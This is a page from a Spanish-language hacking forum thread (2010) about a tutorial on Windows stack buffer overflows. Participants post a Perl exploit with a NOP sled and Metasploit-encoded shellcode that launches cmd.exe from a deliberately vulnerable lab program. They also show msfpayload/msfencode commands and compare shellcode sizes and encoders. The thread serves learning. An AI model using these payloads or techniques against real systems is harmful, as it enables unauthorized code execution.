elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  [Manual] Buffer Overflow en Windows
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] 4 5 Ir Abajo Respuesta Imprimir
Autor Tema: [Manual] Buffer Overflow en Windows  (Leído 43,826 veces)
PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #20 en: 16 Febrero 2010, 06:14 am »

  :D :D :D :D :D ...

Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF , para la gente que no se lleva bien con C++ , o C , aca le dejo un exploit para este programa vulnerable, que ejecuta el payload CMD , programado el perl ..

Funciona para buffer 700 , ya que cambie el 300 por 700 en el programa vulnerable C++

{
char buff[700] = "Datos";
strcpy(buff,cptr);
printf("%s\n\n",buff);
return 0;
}

EXPLOIT :

Código:
#1----------------------------------------------------------------------------
my $nopp="\x90" x 263;
my $shellcode =
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";



#1---------------------------------------------------------------------------
my $exploit=$nopp.$shellcode;
my $file = "archivo.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Archivo.txt generado con exito,prosiga habriendo la aplicacion vulnerable.-\n"







PD : NO ANDA LA WEB DE PAYLOADS DE METASPLOIT :'(, LA TUBE QUE GENERAR DESDE EL PROGRAMA MSF.



PHAMTOM
« Última modificación: 16 Febrero 2010, 06:17 am por H-PHAMTOM » En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #21 en: 16 Febrero 2010, 06:23 am »

Hola que tal H-PHAMTOM

Una preguntilla, por que cambiar el buffer de 300 a 700?

Saludos


En línea

PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #22 en: 16 Febrero 2010, 06:25 am »

Hola que tal H-PHAMTOM

Una preguntilla, por que cambiar el buffer de 300 a 700?

Saludos




Porque estuve viendo el manual y utilize el algoritmo de restar el numero del buffer desbordado, al  size del shellcode...

shellcode = 453 size
Buffer = 716 Escribiendo eip.
716-453 = 263..

Saludos..

« Última modificación: 16 Febrero 2010, 06:27 am por H-PHAMTOM » En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #23 en: 16 Febrero 2010, 07:06 am »

a ok, era eso entonces, aunque si para el calc.exe se ocupo 164 bytes por que para el cmd.exe se necesitan 453 xD, segun recuerdo para el cmd.exe se necesita un mínimo de 29 bytes o algo asi recuerdo segun el texto de rojodos que se cita en el mismo documento de ikary.

Eso de general shellcodes mediante herramientas, esta bien cuando tenemos prisa, sin embargo en etapas de aprendizaje es bueno saber de donde vienen.

Seria interesante usar esa misma shellcode que muestras sin nececidad de cambiar el tamaño del buffer del programa vulnerable

Saludos

En línea

PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #24 en: 16 Febrero 2010, 07:09 am »

Si voy a probar,el temá es que en la pagina de metasploit,en la parte de payloads,creo que se encuentran mejores payloads,pero como esta offline en este momento la pagina , tube que inprovisar de donde sacar una  :xD,por lo que acudi a metasploit framework 3 , con el comando :

./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl


y para la calc :


./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl

Mañana nos escribimos,me voy a ZzZ...

Saludos,PHAMTOM.-


En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #25 en: 16 Febrero 2010, 08:25 am »

He ikary, pues no se cual era el problema con los parámetros y el Olly, pero ya ahorita te digo que solo ocupas saber con cuantos bytes sobrescribes EIP y con eso solo ocuparías las direcciones de system y de JMP esp

Con eso he logrado ejecutar el cmd.exe. Claro que tube problemas, lo explico en el post anterior.
En línea

ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #26 en: 16 Febrero 2010, 15:00 pm »

Gracias Anon ^^
Ya he estado mirando el otro post, voy a probar lo que dices a ver, por que la verdad es que me quedé con las ganas de sacarlo por parametros. :P

PHAMTOM:
Citar
creo que se encuentran mejores payloads

Realmente es todo lo contrario, si no, fijate en tu shellcode:
Código:
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";

Y en la de Anon:

Código:
"\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"

Hay demasiada diferencia para dos shellcodes que hacen lo mismo ¿no crees? ^^

Para mi manual utilicé las shellcodes de metasploit para hacerlo mas rapido, ya que el manual se basaba mas bien en el concepto de BoF que en la creacion de shellcodes (el manual de Rojodos ya lo explicaba con bastante claridad)
Te recomiendo, si no lo has echo aun, que leas el manual de Rojodos y aprendas a crear tus propias shellcodes, ya que pocas veces vas a encontrar 700 bytes en un programa explotable real.

Citar
Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF

Gracias PHAMTOM, me alegra que te haya servido ^^

Un saludo
En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #27 en: 16 Febrero 2010, 15:55 pm »

Buenas gente,

Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.

Muy buen manual Ikary ::).
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #28 en: 17 Febrero 2010, 03:12 am »

Buenas gente,

Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.

Muy buen manual Ikary ::).

Es qué por eso mismo le hago un " encode " , por los caracteres null's.

PHAMTOM
En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #29 en: 17 Febrero 2010, 03:35 am »

ese alpha_mixed solo te devuelve una Shellcode Alfanumerica, por eso te sale asi.

Por lo que veo es bastante facil generar shellcodes xDD

Código
  1. Anon@localhost % msfpayload windows/exec CMD=cmd Raw | msfencode -a x86 -b '\x00' -t c
  2. [*] x86/shikata_ga_nai succeeded, final size 144
  3.  
  4. unsigned char buf[] =
  5. "\x33\xc9\xb1\x1e\xba\xb1\xfc\x90\xfb\xdd\xc1\xd9\x74\x24\xf4"
  6. "\x5e\x31\x56\x0f\x83\xc6\x04\x03\x56\xba\x1e\x65\x07\x54\x9a"
  7. "\x86\xf8\xa4\xa8\xc2\xc4\x2f\xd2\xc9\x4c\x2e\xc4\x59\xe3\x28"
  8. "\x91\x01\xdc\x49\x4e\xf4\x97\x7d\x1b\x06\x46\x4c\xdb\x90\x3a"
  9. "\x2a\x1b\xd6\x45\xf3\x56\x1a\x4b\x31\x8d\xd1\x70\xe1\x76\x1e"
  10. "\xf2\xec\xfc\x41\xd8\xef\xe9\x18\xab\xe3\xa6\x6f\xf4\xe7\x39"
  11. "\x9b\x80\x0b\xb1\x5a\x7c\xba\x99\x78\x86\x7f\x7e\xb0\x70\x1f"
  12. "\xd7\xd6\xf7\x99\xe7\x9d\x48\x29\x83\xd2\x54\x9c\x18\x7a\x6d"
  13. "\x57\xe6\xf8\xad\x0d\x47\x97\xdd\x5b\x63\x38\x76\xc3\x92\x4c"
  14. "\x88\xa4\x95\xb6\xf6\x27\x0e\x39\xf3";
  15.  

Esa también sirve son 144 bytes

Solo se usa el -e x86/alpha_mixed cuando hay un filtro alfanumérico

Saludos
« Última modificación: 17 Febrero 2010, 03:37 am por Anon » En línea

Páginas: 1 2 [3] 4 5 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
buffer overflow
Ingeniería Inversa
Meg 2 6,062 Último mensaje 6 Febrero 2009, 11:20 am
por Shaddy
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines